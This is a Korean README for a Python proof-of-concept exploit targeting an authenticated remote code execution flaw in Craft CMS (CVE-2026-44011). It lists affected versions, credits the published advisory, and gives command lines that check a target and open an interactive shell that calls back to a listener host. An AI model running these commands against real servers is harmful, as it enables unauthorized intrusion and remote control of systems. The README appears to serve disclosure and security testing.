
CVE-2026-44011에 대한 인증된 Craft CMS RCE PoC
이 Python 스크립트는 Craft CMS 보안 권고문에 설명된 공격을 각색한 것입니다. 인증된 Craft 사용자는 취약한 필드 레이아웃 구성 경로에 접근하여 서버가 명령을 실행하도록 할 수 있습니다.
영향을 받는 버전은 Craft CMS >=4.0.0, <4.17.12 및 >=5.0.0, <5.9.18입니다.
이 스크립트는 두 호스트 모두에서 curl을 필요로 합니다. 서버에서는 Bash를 사용합니다. 서버의 Python3는 대화형 PTY도 제공하며, 이것이 없으면 셸은 기본 연결로 대체됩니다.
# 호스트가 취약한지 확인
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password' --check
# 대화형 셸 열기
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password'
Craft CMS는 @precicom-vincent-tl을 CVE-2026-44011의 발견자로 인정합니다. 취약점 세부 정보와 예시 페이로드는 Craft CMS 권고문 GHSA-qrgm-p9w5-rrfw에 게시되어 있습니다. 이 스크립트는 게시된 기법을 각색한 것입니다.